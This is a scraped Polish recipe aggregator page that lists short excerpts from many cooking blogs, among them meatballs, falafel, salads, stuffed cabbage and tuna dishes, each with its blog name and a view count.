jajka 4-6 cienkich kiełbasek (u nas tzw piwoszki) kilka pomidorków koktajlowych kilka małych białych pieczarek kilka plasterków cienkiego boczku (u mnie surowy) 1/3-1/2 puszki białej fasolki w pomidorowym sosie masło sól, pieprz Na suchej, rozgrzanej patelni grillowej rumienimy boczek. Pieczarki rumienimy na osobnej patelni na 1 łyżce masła – niech się lekko przybrązowią. Delikatnie doprawiamy je solą oraz pieprzem

Smaki Na Talerzu
Środa: Pulpety Jessicy Alby dla dzieci 220

kulki. Smaż 5 minut, obracając, żeby pulpety obsmażyły się ze wszystkich stron. Zalej pulpety połową szklanki wody lub bulionu. Przykryj patelnię i duś przez 10 minut aż mięso wchłonie sos. Podawaj pulpety z sałatką i ryżem. Artykuł Środa: Pulpety Jessicy Alby dla dzieci pochodzi z serwisu Niedzielny kucharz

Niedzielny kucharz
Domowy Falafel 155

Smażymy we fryturze przez około 10 minut, aż będą miały złoty kolor i nie będą surowe w środku. Podajemy w tortilli lub chlebku typu pita z ulubionymi dodatkami i sosami. Smacznego! (adsbygoogle = window.adsbygoogle || []).push

Delusional Trine
Zapiekanka Makaronowa z Szynką i Serem 157

pokrojoną w kostkę. 3. Bulion zagotować ze śmietaną i z koncentratem pomidorowym, dodać sól, pieprz i zioła według uznania. 4. Mąkę wymieszać z małą ilością wody, i zagęścić nią sos. 5. Całość posypać startym serem żółtym. 6. Piec w temperaturze 200* około 40 minut pod przykryciem

Dziś Ja gotuje
Szakszuka 154

Szakszuka – potrawa z kuchni bliskowschodniej. W tunezyjskim, podstawowym przepisie znajdziemy gęsty sos zrobiony z pomidorów, czosnku i cebuli, przyprawiony … Przeczytaj cały artykuł Artykuł <span>Szakszuka</span> pochodzi z serwisu My Blueberry Corner

My Blueberry Corner
Naleśniki 'red velvet', Zwierzyniec 2018 210

Podobne do tradycyjnego ciasta, ale o wiele od niego zdrowsze. Ciasto z kakao, nadzienie: ser na sernik+miód, sos malinowy (ze zblendowanych malin). / Similar to the traditional cake but much healthier. The pancake batter includes cocoa powder, the inside: ready to eat cheesecake filling+honey, raspberry sauce (blended fruit). Fotorelacja ze Zwierzyńca, 2018 Zwierzyńczyk browar pijalnia piwa bardzo smaczny koniec

Qlinarnie i Qlinarnie
Gulasz warzywny z bakłażana, batatów i ciecierzycy 326

innych posiłków – ciepłego śniadania czy pożywnej kolacji. Wegański gulasz ze słodkich ziemniaków, bakłażana i ciecierzycy Podstawą tego gulaszu są bogate w błonnik bakłażany, to dzięki nim uzyskamy gęsty sos, bataty dodadzą słodkości i cennych karotenoidów a ciecierzyca uzupełni danie w białko o stosunkowo dużej wartości odżywczej. Jeśli szukasz innych pomysłów na dania wegańskie z wykorzystaniem bakłażana to sprawdź też

Book of spells
Sałatka salsa mexicana z kurczakiem 140

Lubicie szybkie i proste sałatki? Bardzo prosta sałatka, na bazie naszej, polskiej jarzynowej. Zainteresowani? Zamiast majonezu, użyliśmy sosu salsa mexicana od Folwark . Składniki 4 ziemniaki 2 marchewki 2 jajka 300 g filetu z kurczaka 2 łyżki oleju rzepakowego 1 mała puszka czerwonej fasoli 1 mała puszka kukurydzy 1 mała puszka groszku 1 pęczek natki pietruszki 1 czerwona cebula 6 łyżek

R'n'G Kitchen
Quesadilla z kurczakiem 297

obie się ze sobą skleiły. 4 Kiedy dolna tortilla się podpiecze, przekładamy sklejone tortille na drugą stronę. Następnie zdejmujemy tortille na deskę i kroimy na ćwiartki. Podajemy z ulubionymi sosami, najlepiej ostrymi.   Artykuł Quesadilla z kurczakiem pochodzi z serwisu kuchniabazylii.pl - blog kulinarny

Kuchnia Bazylii
Pomidory faszerowane kuskusem i tuńczykiem 223

Kolejna wersja faszerowanych pomidorów. Tym razem do środka trafiła sałatka z kuskusem i tuńczykiem. Takie pomidorki świetnie smakują z dodatkiem sosu czosnkowego. Można także do sałatki dodać majonez wtedy całośc jest bardzeij wyrazista w smaku. składniki: 8-9 pomidorów po ok 130-150 g 1/2 szklanki kuskusu 1 puszka tuńczyka w kawałkach w oleju 1 mała cebulka pół małej papryki

Monia miesza i gotuje
Gołąbki z kaszą kuskus pełnoziarnistą i brokułem na ostro 155

czasu aż kapusta będzie bardzo miękka, ok. 30 min. Między czasie gołąbki odwracamy, bulion powinien się zredukować. Takie gołąbki można podawać tylko z posypanym   koperkiem, lub z ulubionym sosem, np. pieczarkowym. Rada: jeśli przygotujecie podwójną porcję gołąbków, można je po podsmażeniu przełożyć do brytfanki i piec w piekarniku

Moniki Smakołyki
Polędwiczka w piernikowej marynacie 196

zarazem smaczna. Delikatna nuta piernika i cytrusów czyni mięso bardziej wykwintnym, a podane z rukolą ma nieco ostrzejszy smak.  Składniki:   500g polędwicy wieprzowej 1 pomarańcza 2 łyżki sosu sojowego 2 łyżki oleju Sól, pieprz do smaku 1 łyżeczka suszonego tymianku 4 lukrowane pierniczki Do podania: Rukola Plastry pomarańczy Pierniczki … i koniecznie dobre, czerwone, wytrawne wino! Sposób przygotowania: Polędwiczkę

Kuchnia w czekoladzie
Solony koperek na zimę 181

Solony koperek w słoiku Solony koperek w słoiku jest idealnym składnikiem na zupę koperkową lub sos. Oczywiście można kupić taki koperek w sklepie jednak wystarczy dosłownie 10 minut, aby przygotować własny słoiczek z dwóch pęczków świeżego kopru

Korniszonki
PULPETY Z INDYKA W SOSIE KOPERKOWYM 181

Lekkie i zdrowe pulpety z indyka a do tego pyszny sos koperkowy - to to co lubię zwłaszcza na obiad:)  Polecam.  Zapraszam do polubienia mojej strony na FB https://www.facebook.com/gotowaniepatki/ oraz śledzenia na Instagramie https://www.instagram.com/ gotowaniepatki/ ,oraz odwiedzenia mojego Bloga -- https:// gotowaniepatki.blogspot.com / będzie mi bardzo miło ❤ ❤ ❤ SKŁADNIKI:   Pulpety 400 g mięsa mielonego np. z indyka

Gotowanie Patki
Surówka z sosem 1000 wysp 129

Kapustę drobno szatkujemy, oprószamy solą i zagniatamy rękoma, by była bardzo krucha. Odstawiamy na 30 min, płuczemy, odcedzamy. Marchewki obieramy, ścieramy na wiórki. Natkę siekamy. Wszystkie składniki, razem z sosem dokładnie łączymy. Przed podaniem schładzamy

R'n'G Kitchen
Dyniowy zawrót głowy 132

coraz bardziej podbijać jesień w polskich kuchniach. Osobiście polecam sprawdzony przepis na pyszną zupę smażoną i gotowaną na woku ! Ale z dyni robi się też przecież placki, drożdżówki czy sosy. Smażona dynia to także świetny dodatek do ryb, takich jak łosoś czy na przykład dań z makaronem. Dla mnie, nie tylko jesienią, dynia kojarzy się z najlepszym dżemem jaki kiedykolwiek

Fleksitarianizm.pl
Zapiekanka ziemniaczana z cukinią, boczkiem i białym serem 155

Drukuj Prep time 20 min Cook time 50 min Total time 1 godzina 10 min   Zapiekanka ziemniaczana z cukinią, pomidorami, białym serem i boczkiem - lekka, bez dodatku sosu, z tego co latem najlepsze Author: Cooking for Emily Serves: 6 Ingredients ok 800 g ziemniaków 2 nieduże cukinie 2 ząbki czosnku 200 g wędzonego boczku 100 g białego sera

Cooking for Emily
Papryka faszerowana chlebem 183

solą i cukrem więc doprawiłam tylko niewielką ilością oregano. Doprawiony przecier wlać do naczynia żaroodpornego. Paprykę dokładnie umyć. Wyciąć ogonek i wydrążyć pestki. Wypełnić przygotowanym farszem. Ułożyć bokiem w sosie pomidorowym. Wstawić do piekarnika nagrzanego 180 C, naczynie przykryć pokrywką lub folią aluminiową. Zapiekać aż papryka będzie miękka, ok 40-45 minut. Po 20 minutach pieczenia paprykę przekręcić na drugi

Monia miesza i gotuje
Sałatka z tortellini, serem i szpinakiem 321

kostkę. Ser ścieramy na dużych oczkach tarki. Koperek drobno siekamy. Tortellini mieszamy z papryką, cebulą, kukurydzą i papryką.  Jogurt łączymy z majonezem i doprawiamy solą i pieprzem. Dodajemy sos do sałatki, mieszamy. Na koniec dodajemy liście świeżego szpinaku i delikatnie jeszcze raz wszystko mieszamy

Qchnia po prostu
Śliwka węgierka w occie i dwa sposoby na zalewę 207

occie. Nie różnią się sposobem wykonania, tylko składnikami. Podaję oba przepisy, ja skorzystałam z drugiego, ponieważ autorka zasugerowała, że... Cyt. „Drugi sposób, daje śliwki daleko milszego smaku, a sos nie jest tak ostry” Wybierzcie taki, jaki Wam odpowiada:) Śliwki w zalewie octowej 900g śliwek węgierek, 450g cukru, 380ml octu, autorka informuje, że ma być ocet niezbyt mocny, ale dobry. Możemy

Leśny Zakątek
Grillowana figa z fetą 139

szaleństwa.  I najbardziej smakuje mi prosto z drzewa, w banalnej formie, bez większego towarzystwa.  Składniki; 4 figi  kawałek sera feta 2-3 kromki pieczywa żytniego  sos balsamico  miód  pieprz świeży świeże zioła np. tymianek  masło Na maśle grilluję figi i pieczywo. Doprawiam pieprzem i tymiankiem. Kroję figi i układam na talerzu, posypuję pokruszonym

Mango Papaja
KREM RAFAELLO 214

tyle gorąca, aby bez problemu rozpuściła się w niej czekolada. Gdy temperatura śmietanki będzie odpowiednia zdejmujemy rondelek z palnika i dodajemy połamaną czekoladę. Mieszamy całość, aż otrzymamy gładki sos czekoladowy. Odstawiamy do wystudzenia. Rondelek przykrywamy folią spożywczą i wkładamy na noc do lodówki (min. 8 godz.). Następnego dnia umieszczamy w misce schłodzony krem czekoladowy i serek mascarpone. Przy pomocy miksera

Słodki Pomysł
PLACKI Z KISZONEJ KAPUSTY (keto, LCHF, bez glutenu) 328

cienkie placki. Smażyć z obu stron do momentu aż będą rumiane (ok 2-3 minut). Placki z kapusty kiszonej polecam podawać zarówno na ciepło np z rybą, mięsem czy sosami, jak i na zimno z różnego rodzaju dipami (np. czosnkowym, tzatziki itd.) czy po prostu tylko z kwaśną śmietaną. Smacznego! — BTW całości bez dodatków: 640 g, 970 kcal

Ola la LCHF
Australijska pizza w Warszawie 217

pizza z gruszkami, dynią, cukinią czy serem kozim. Jednak chyba jednymi z najlepszych są Magic mushrooms oraz Chorizo. Osobiście byłem sceptycznie nastawiony do tej pierwszej ze względu na brak sosu pomidorowego, jednak swój wyjątkowy smak zawdzięcza grzybom i oliwie truflowej. Ciasto obu pizzy było idealnie wypieczone, jednak musicie pamiętać, że nie jest to typowa włoska pizza – nie będzie miała

Kulinarnyblog.pl - wiesz jak gotować!
Gołąbkowa patelnia – pyszne danie jednogarnkowe! 7293

Gołąbkowa patelnia Prosty i pyszny obiad jednogarnkowy, który szczególnie przypadnie do gustu miłośnikom gołąbków. Mięsno-ryżowe klopsiki w sosie pomidorowym z kapustą oraz ziemniaczkami to wyśmienite i szybkie w przygotowaniu danie, którym spokojnie naje się cała rodzina. Polecam!     Składniki: 50 dkg mięsa mielonego wieprzowego 1/2 główki kapusty 150g ugotowanego ryżu 1 jajko 1/2 szklanki mąki – do obtoczenia gołąbków

Blog z Apetytem
Sałatka z czerwonej soczewicy 240

sitku zimną wodą. Paprykę, cebulę i obrane jabłko kroimy w drobną kostkę i mieszamy z soczewicą. Jogurt łączymy z majonezem, dodajemy zmiażdżony czosnek, zioła, sól i pieprz.  Sos dodajemy do sałatki. Mieszamy. Sałatkę podajemy z pieczywem

Qchnia po prostu
Makaron ze szpinakiem, pomidorami 141

dzisiejszym wpisie przedstawię Wam prosty przepis na makaron, który podałam w towarzystwie sosu śmietanowego, przyrządzonego na bazie szpinaku, kurczaka i świeżych pomidorów. Makaron dodatkowo wzbogacony został podsmażonym boczkiem, co nadało mu jeszcze większej wyrazistości. Jest to doskonały pomysł na obiad lub też kolację. Przygotowanie makaronu ze szpinakiem, kurczakiem i pomidorami nie jest skomplikowane, a... Tryb czytania Artykuł Makaron ze szpinakiem

PysiaGotuje.pl
Śledzie po sułtańsku 152

przecier pomidorowy oraz ketchup i gotować przez ok. 2 minuty, dodać odcedzone rodzynki i gotować jeszcze przez 1 minutę. Ostudzić, następnie układać śledzie w słoiku lub salaterce przekładając je sosem. Wstawić do lodówki i przechowywać do tygodnia czasu

KUCHNIA POLSKA
Środa: Kurczak Marengo, albo kurczak Napoleona 306

Zamiast całego kurczaka wykorzystaliśmy też wybrane kawałki mięsa na dodatek bez kości, a to po to, żeby przyspieszyć proces smażenia. Jeśli macie czas przygotujcie danie z kurczaka z kością, sos będzie jeszcze bardziej esencjonalny. Na koniec warto jeszcze dodać, że pod Marengo walczyli Polacy z legionów Dąbrowskiego – tego od Mazurka Dąbrowskiego. 800 żołnierzy zostało tam na zawsze. Składniki

Niedzielny kucharz
Smaki Bieszczadów 232

pokazuje to rodzinny foodtruck “Bieszczadzki Paśnik” stojący przy parkingu w Wetlinie. Przepyszny syty kebab (który z Haneczką wystarczył nam na dwa posiłki) można zamówić z robionym przez właścicielkę własnoręcznie sosem z czosnku niedźwiedziego. Szczerze polecam, niebo w gębie, tak samo jak serwowane tam niby zwykłe zapiekanki, ale okraszone świeżym szczypiorkiem i pomidorkami koktajlowymi nabierają zupełnie innego charakteru. Podobne rarytasy zaserwowano

Gotuj z Rumcajsem
Tuńczykowy lunchbox 227

dzieła. U mnie poszło jako posiłek do pracy w wersji lunchbox. Wersja dla Pań wszystkie składniki dzielimy przez pół ;) Składniki: - 100g białego ryżu - 2 jajka - puszka tuńczyka w sosie własnym - łyżka majonezu - 3 łyżki jogurtu naturalnego - ogórek kiszony - garść kukurydzy - sól, pieprz do smaku Jajka gotujemy na twardo i kroimy w drobna kosteczkę, ryż gotujemy według przepisu na opakowaniu Tuńczyka

Smacznie Pysznie Kalorycznie
Orientalny kurczak z figami 157

Orientalny kurczak z figami Orientalny kurczak z figami to bardzo łatwe i niesamowicie aromatyczne danie obiadowe. Miękkie mięso kurczaka i smaczne figi, a całość w pysznym sosie. Bogactwo przypraw, smaków i aromatów, które świetnie się ze sobą komponują i wybornie smakują. Orientalny kurczak z figami to danie, które z całą pewnością przypadnie do gustu miłośnikom aromatycznych potraw Polecam   Przepis

WSZYSTKO SMACZNE
Szpinakowe kwadraciki 189

mąki pszennej 30 ml oleju 3 jajka Farsz Opakowanie mrożonego rozdrobnionego szpinaku słoiczek suszonych pomidorów w oliwie 4-5 ząbków posiekanego czosnku sól, pieprz kilka łyżek masła Sos gorgonzola … Czytaj dalej Szpinakowe kwadraciki

gotuj ze mną
Zapiekanka makaronowa z warzywami - czyli nie marnujemy resztek 327

olejem z suszonych pomidorów, posypujemy startą mozzarellą i wstawiamy do piekarnika. Pieczemy w 180 stopniach około 30-35 minut. Po wyjęciu posypujemy pokrojoną cebulą dymką :-). Możemy podać z ulubionym sosem, ketchupem lub zjeść bez dodatków :-) Smacznego

kruche babeczki
Udka z kurczaka , pieczone z kalafiorem 174

pomysł na jednogarnkowy , niekłopotliwy obiad z kurczakiem i warzywami . Kalafior to jedna z bardziej lubianych przystawek w naszym domu . Chłopcy uwielbiają gotowany z bułka tartą i masłem lub z sosem beszamelowym , ale pieczony też ma swój niepowtarzalny urok i smak . Dobrze doprawione udka z kurczaka w takim towarzystwie są naprawdę prostym i pysznym posiłkiem . Do tego nie wymagają ani wysokich

Ogrodnik w podróży
Schab duszony 283

dobrze wszystkim znanych kotletów schabowych. Przepis jest super prosty. Nie potrzebujesz nawet gotowego bulionu. Idealne połączenie warzyw i mięsa. Te pyszne kawałki kruchego schabu z cebulą, pieczarkami i wspaniałym sosem zaprawionym śmietanką możesz podać z ziemniakami gotowanymi. Cudownie smakują też kluski śląskie lub pyzy ziemniaczane . A do tego surówka z czerwonej kapusty .. To dopiero pomysł na obiad

AniaGotuje.pl
Burgery ziemniaczano – marchewkowe 257

unikać jak ognia. Teraz już nie wszyscy tak uważają. Coraz częściej podkreśla się, że ziemniaki tak naprawdę same w sobie nie tuczą. Fakt, jeśli dołożymy do nich tłuste mięso, sosy i inne kaloryczne dodatki, to całkiem prawdopodobne, iż możemy po jakimś czasie zauważyć wzrost wskazówki na wadze. Ziemniaki to jednak nie tylko zupa i drugie danie. To też nie tylko

365 dni dookoła kuchni
Sałatka z łososiem i szpinakiem 148

nadmiaru płynu i wykładamy go łyżeczką w kilku miejscach na sałatce. Łososia rwiemy na mniejsze kawałki i układamy podobnie jak serek. W miseczce łączymy składniki dressingu, aż powstanie gładki sos. Sałatkę tuż przed podaniem polewamy dressingiem i posypujemy sezamem. Smacznego Artykuł Sałatka z łososiem i szpinakiem pochodzi z serwisu PatiGotuje

PatiGotuje
Panierowane kotlety z cukinii 202

podczas smażenia. W miseczce rozbełtać jajko, na talerzyk wysypać bułkę tartą. Na patelni rozgrzać sporo oliwy. Cukinię obtaczać w jajku i bułce tartej. Smażyć na złoty kolor. Podawać z sosem, pomidorami lub ulubioną surówką. Tymi kotletami uraczyła nas właścicielka hotelu w Brennej. Po całym dniu chodzenia po okolicznych górach były niebem w gębie 😋 Widok z przełęczy Karkoszczonki W drodze

Weekendy w domu i ogrodzie
Rolada szpinakowa 258

oczywiście doskonale smakuje!! Składniki: 4 jaja paczka mrożonego szpinaku (najlepszy brykiecik); olej - 3/4 szklanki Nadzienie: 6 jaj ugotowanych; musztarda; serek topiony (2 trójkąciki); puszka tuńczyka we własnym sosie; sól, pieprz, koperek Wykonanie: Ubić białka z odrobiną soli. do rozmrożonego, wyciśniętego szpinaku dodać żółtka, wymieszać szpinak z żółtkami, dołożyć pianę z białek, delikatnie ją wmieszać w szpinak, połączyć olejem. Papierem

kgwjanczewo
Zrazy z cielęciny z kremową kaszą pęczak i grzybami 188

patelni obsmaż na złoto z ząbkiem czosnku. Kiedy kasza się ugotuje, wsyp orzechy i pestki słonecznika. Dodaj łyżkę masła i wymieszaj. Danie wyłóż na talerze posypując natką i polewając sosem spod duszonych zrazów

AZgotuj!
NAJLEPSZE PRZEPISY Z DYNI! HIT JESIENI! 181

PIECZONĄ DYNIĄ! PIEROGI Z NADZIENIEM Z DYNI! ZUPA Z PIECZONEJ DYNI HOKKAIDO. ROZGRZEWAJĄCA ZUPA NA JESIEŃ. MASŁO ORZECHOWE Z DYNI! CHLEBEK DYNIOWY Z KREMEM SZAFRANOWO-DYNIOWYM NALEŚNIKI GRYCZANE Z SOSEM DYNIOWYM I GRILLOWANĄ KUKURYDZĄ. PYCHA! ZUPA KREM Z PIECZONEJ DYNI HOKKAIDO I SŁODKIEJ PAPRYKI SAŁATKA Z FIGAMI I SEREM SYROP DO KAWY PUMPKIN SPICE COFFEE ROZGRZEWAJĄCA ZUPA Z DYNI

SMYKWKUCHNI
Zapiekane pulpety z piklami 203

Nadziewane mięso mielone jest doskonale jako drugie danie. Jeszcze do tego sos pomidorowy i mamy hit obiadowy. No i robimy je szybko. Potrzebujemy: Czytaj więcej

Tylko pysznie
Sałatka Królewska z ananasem i kurczakiem 211

width="1024"] Sałatka Królewska z ananasem i kurczakiem[/caption] Zobacz inne przepisy na sałatkę z kurczakiem: Warstwowa Sałatka Z Brokułem I Kurczakiem Sałatka Z Kurczakiem I Sałatą Lodową W Sosie Czosnkowym Sałatka Meksykańska Pyszna Sałatka Z Wędzonym Kurczakiem I Groszkiem Sałatka Z Kapustą Pekińską I Kurczakiem Sałatka Z Makaronem I Kurczakiem Kolorowa Sałatka Z Kurczaka, Kapusty Pekińskiej I Kukurydzy

e-PrzepisyKulinarne
Gołąbki z przepysznym farszem 153

każdy liść układamy farsz i zawijamy w tzw. roladkę. Przekładamy do naczynia żaroodpornego, podlewamy bulionem i pieczemy pod przykryciem przez 100 min. w temperaturze 180°C . Podajemy z ulubionym sosem. U nas była to śmietana

R'n'G Kitchen
placuszki na kefirze 170

czas 30 s/obr 5  smażyć na dobrze rozgrzanej patelni na złoty kolor z obu stron  Podawać z cukrem pudrem, chociaż Misia oczywiście wybrała wersję z nutellą i sosem czekoladowym.  Smacznego

Gotowanie z pasją
Sałatka z jabłkiem, boczkiem i kozim serem 178

Sałatka z jabłkiem, boczkiem, kozim serem, orzechami i sosem winegret…Chrupiąca, słodko kwaśna i nie mniej bardzo smaczna. Jadam tego typu sałatki na lunch lub na kolację. Czuję się lekka jak piórko, choć sama sałatka jest kaloryczna i pożywna. Właśnie takie sałatki lubię, kolorowe i wypasione. Jak widzicie nadmiar jabłek można wykorzystać nie tylko do wypieków ale również

codojedzenia
PASTA KANAPKOWA Z TUŃCZYKIEM, TWAROŻKIEM I PAPRYKĄ 105

porcja + pieczywo żytnie (2 kromki 100 g) 378 Kcal (B:27 g W:46 g T:9 g) Składniki: (na 2 porcje) - tuńczyk w sosie własnym – 1 puszka (100 g) - twarożek naturalny grani (200 g) -papryka czerwona – 1 szt. (145 g) - cebula czerwona – 1 szt. (64 g) - przyprawy (pieprz cytrynowy/ papryka słodka, ostra, sól himalajska) Wykonanie: Paprykę i cebulę pokroić

Być w dobrej formie i tryskać pozytywną energią przez cały czas
SAŁATKA Z TUŃCZYKIEM I KASZĄ GRYCZANĄ 103

Składniki: - tuńczyk w sosie własnym (kawałki) – 1 puszka po odsączeniu (100 g) - pomidorki koktajlowe – 5 szt. (100 g) - kasza gryczana – ¼ woreczka (- sucha 25 g)/ (50 g ugotowana- 3 łyżki) - cebula czerwona – ½ szt. (50 g) - olej lniany – 1 łyżka (10 g) - mix sałat- 2 garście (60 g) - pestki z dyni – 1 łyżka (10 g) - przyprawy : sól himalajska, pieprz ziołowy/ cytrynowy, oregano

Być w dobrej formie i tryskać pozytywną energią przez cały czas
SAŁATKA RYŻOWA Z TUŃCZYKIEM, KUKURYDZĄ GROSZKIEM 134

SAŁATKA RYŻOWA Z TUŃCZYKIEM, KUKURYDZĄ  GROSZKIEM  Składniki: (na 2 porcje) - puszka tuńczyka w sosie własnym (kawałki) (110g) - ryż basmatii (100g) - kukurydza konserwowa (100g) - groszek zielony (70g) - przyprawy : sól himalajska, pieprz ziołowy, oregano, bazylia Wykonanie: Ryż ugotować. Wymieszać wszystkie składniki. Doprawić wedle uznania. Podzielić na 2 porcje Całość: 588 Kcal

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Omlet kukurydziany z tuńczykiem I fasolą czerwoną podawany z serkiem wiejskim 104

Składniki: - jaja - 2 szt. - mąka kukurydziana -20 g - tuńczyk w sosie własnym - 30 g - fasola czerwona - 30 g - masło klarowane - 1/2 łyżeczki - serek wiejski - 50 g - sól himalajska, pieprz cytrynowy  Wykonanie: Jaja roztrzepać z mąką I przyprawami, dodać tuńczyka I fasolę, wymieszać. Smażyć na maśle klarowanym, pod przykryciem z obu stron. Podawać z serkiem wiejskim. 350,2 kcal

Być w dobrej formie i tryskać pozytywną energią przez cały czas
AL’A PIZZA KUKURYDZIANA Z PATELNI 119

wspomaga układ odpornościowy - zapobiega chorobom oczu - zwiększa produkcję czerwonych krwinek - jest dobrym źródłem witaminy A Składniki: - jajo 2 szt. - mąka kukurydziana (15 g) - otręby pszenne (10 g) - tuńczyk w sosie własnym (30g) - cebula czerwona (30 g) - pomidorki koktajlowe (30 g) - ser camembert (20 g) - serek wiejski (60 g) - przyprawy : sól himalajska, pieprz ziołowy, oregano, bazylia Wykonanie: Jaja ubić, wymieszać

Być w dobrej formie i tryskać pozytywną energią przez cały czas
MAKARON PEŁNOZIARNISTY Z TUŃCZYKIEM, JARMUŻEM I PIECZARKAMI 116

Składniki: - makaron pełnoziarnisty – 1 szklanka (60 g) - cebula ½ szt. (50 g) - pieczarki 3 szt. (60 g) - tuńczyk w sosie własnym – ½ puszki (60 g) - jarmuż – 1 garść - masło klarowane– ½ łyżeczki (4 g) Wykonanie: Makaron ugotować al dente. Cebulę, pieczarki i jarmuż drobno posiekać, podsmażyć na maśle klarowanym. Do tego dodać tuńczyka i ugotowany makaron. Podsmażać jeszcze chwilę. W razie potrzeby podlewać

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Chroń jedzenie i oszczędzaj 160

kawa, herbata, ryż, mąki, przyprawy. Wyposażone w pojemniki i woreczki pakowarki – zgrzewarki FoodSaver® umożliwiają pakowanie próżniowe zarówno produktów świeżych, jak i przetworzonych. Bigos, gulasze, pieczone mięso czy zupy i sosy możemy, oszczędzając dzięki temu czas, przygotować jednorazowo w większej ilości i bez obaw przechowywać w lodówce lub zamrażalniku przez kilka lub nawet kilkanaście miesięcy. Poniższe tabele obrazują o ile wydłuża

Cztery Fajery
Kurczak z sezamem czyli tanie danie 115

proporcje na dwie osoby 2 duże ćwiartki z kurczaka 2 ząbki czosnku przeciśnięte przez praskę olej rzepakowy lub inny o neutralnym smaku do smażenia Marynata 1/2 szklanki ciemnego sosu sojowego 3 łyżki koncentratu pomidorowego lub gęstego ketchupu 3 łyżki oleju  (najlepiej sezamowego) 2 łyżki płynnego miodu 1 łyżka brązowego cukru (do tej marynaty idealnie pasuje ciemny cukier muscovado) pieprz

Cztery Fajery
Idealne ciasto na pizzę 138

wyrośnięcia. Gotowego ciasta nie wałkujemy , ale rozciągamy dłońmi na boki, powinno mieć grubość około 3 do 4 milimetrów. formujemy okrągły placek i nakłuwamy go wykałaczką. Gotowy placek smaruję sosem do pizzy, posypuję żółtym serem, układam ulubione dodatki (zazwyczaj, te które były w lodówce) i ewentualnie posypuję drugą warstwą żółtego sera. Pizzę układam na blasze i piekę w piekarniku nagrzanym

Cztery Fajery
Gulasz kolożwarski - kolozsvári gulyás - czyli rumuńska zupa gulaszowa 193

opis  "rumuńska zupa gulaszowa". Wynika to z różnic w nazewnictwie. W Polsce, gulasz to zazwyczaj  pokrojone w mniejszą lub większą kostkę i zrumienione na tłuszczu mięso w sosie, które serwujemy do ziemniaków, kopytek (niebawem przepis),  placków ziemniaczanych czy klusek na parze. Na Węgrzech i w krajach ościennych (m.in. w Rumunii), gulyás to rodzaj gęstej zupy. Zupy

Cztery Fajery
Domowa kostka rosołowa / pasta bulionowa 126

Domowa kostka rosołowa / pasta bulionowa to zdrowa alternatywa, tego co najczęściej spotykamy na sklepowych półkach. Czytaliście kiedyś skład kostek rosołowych albo sosów " w torebce "  ? To przeczytajcie ! Możecie się mocno zdziwić, kiedy dowiecie się, że kostka rosołowa składa głównie z....  soli, maltodekstryny, tłuszczu palmowego, a suszone warzywa i mięso to tylko niewielki procentowo dodatek. Przestaliśmy więc jakiś czas temu

Cztery Fajery
Śledzie marynowane z imbirem 119

edycji programu „MasterChef”. Po zakończaniu warsztatów każdy z uczestników otrzymał receptury na świąteczne potrawy m.in. sernik chałwowy (który niebawem przygotuję i nie omieszkam pochwalić się nim na blogu), pyszny sos żurawinowy, świąteczne pierogi nadziewane kaczką i absolutnie genialny mus z wątróbki z konfiturą cebulową (też pojawi się wkrótce na blogu) Poniżej oryginalny przepis na świąteczne ś ledzie marynowane z imbirem

Cztery Fajery
Wigilia Świętego Mikołaja 157

stopni. Wcześniej zasolona i naszpikowana goździkami, a na koniec pieczenia pomalowana glazurą z musztardy oraz żółtek jaj, oprószona bułką tartą dla uzyskania chrupiącej skórki. Szynka podawana jest z sosem musztardowym lub jabłkowym sporządzanym na bazie ekstraktu mięsnego uzyskanego w czasie pieczenia. Szynce towarzyszy szereg zapiekanek, wśród nich należy wymienić zapiekankę z puree z brukwi, słodką ziemniaczaną, marchewkową z ryżem

Cztery Fajery
Tradycyjne curry z kurczaka 238

kurczaka z przepisu Mriduli Baljekar należy do moich ulubionych. Kiedy mieszkałam w Arabii Saudyjskiej miałam okazję poznać domową kuchnię indyjską z różnych regionów subkontynentu, a  kurczak w sosie curry był jednym z najpopularniejszych dań. Moja sąsiadka z compoundu Panchami Bejbarua pochodzi z Assam, Dinesh Soman z Kerali, więc niejednokrotnie tą samą potrawę przygotowywali nieco inaczej. Część przepisów udało

Cztery Fajery
Schab z patelni 208

Składniki 4 plastry schabu bez kości pół puszki groszku sól, pieprz szczypta tymianku, rozarynu 2 ząbki czosnku sos sojowy ciemny grzybowy Przygotowanie Mięso opłukać, osuszyć, pokroić na dowolne mniejsze kawałki u mnie paseczki. Doprawić i odłożyć na kilka godzin. Rozgrzać patelnię z odrobiną oleju i podsmażyć mięso z każdej strony do momentu uzyskania ładnego brązowego koloru. Na koniec dodać groszek

Gaździnka warzy
Roladki z kurczaka z nadzieniem ze szpinaku i sera 149

cienkie plasterki marchewki. Smażyć chwilkę. Wlać wodę, dodać keczup, kostkę rosołową, majonez i zagotować. Wlać śmietanę, doprawić do smaku solą i pieprzem. Zrazy włożyć do żaroodpornego naczynia i zalać sosem. Wstawić do nagrzanego piekarnika do 200C i piec 35-40 minut. Po wyjęciu z piekarnika dodać posiekaną natkę pietruszki, wymieszać. Podawać z ugotowanym makaronem. Polecam pycha

Kuchnia Pokoleń
Sałatka z fetą 167

serem feta. To bomba witaminowa, którą możemy przyrządzić już w kilka minut. Pyszna sałatka w greckim stylu. Chrupiąca sałata z dodatkiem aromatycznych pomidorów i słonej fety. Całość dopełnia pyszny sos* . Artykuł Sałatka z fetą pochodzi z serwisu Fit Food Brunetki

Fit Food Brunetki
Zupa pomidorowo-cukiniowa z nutką bazylii 150

smak mojego dzieciństwa. Jestem ciekawa czy wy też macie takie dania i sięgacie po nie od czasu do czasu. Z pomidorów zrobić można bardzo wiele. Ketchup, przecier, używać do sosów, dodawać do sałatek, smażyć z jajkami czy właśnie robić zupy. Tak jak lubię moją pomidorówkę z makaronem tak tym razem sięgnęłam po zupę krem. Mama przywiozła mi całe pudełko pomidorów

mecooks
Jedzonko do pracy #69 163

czyszczenie lodówki przed wyjazdem ;)  Śniadanie: Naleśniki z białym serem, plus trochę dżemu truskawkowego od mamy Lunch: Szwedzkie klopsiki na brązowym ryżu z dodatkiem warzyw (papryka, rzodkiewka, awokado), polane sosem na bazie pasty tahini (pasta tahini, oliwa, sok z cytryny, sól, ostra i wędzona papryka). Smacznego

Codzienne Gotowanie
PIERNIKOWE POWIDŁA ŚLIWKOWE 194

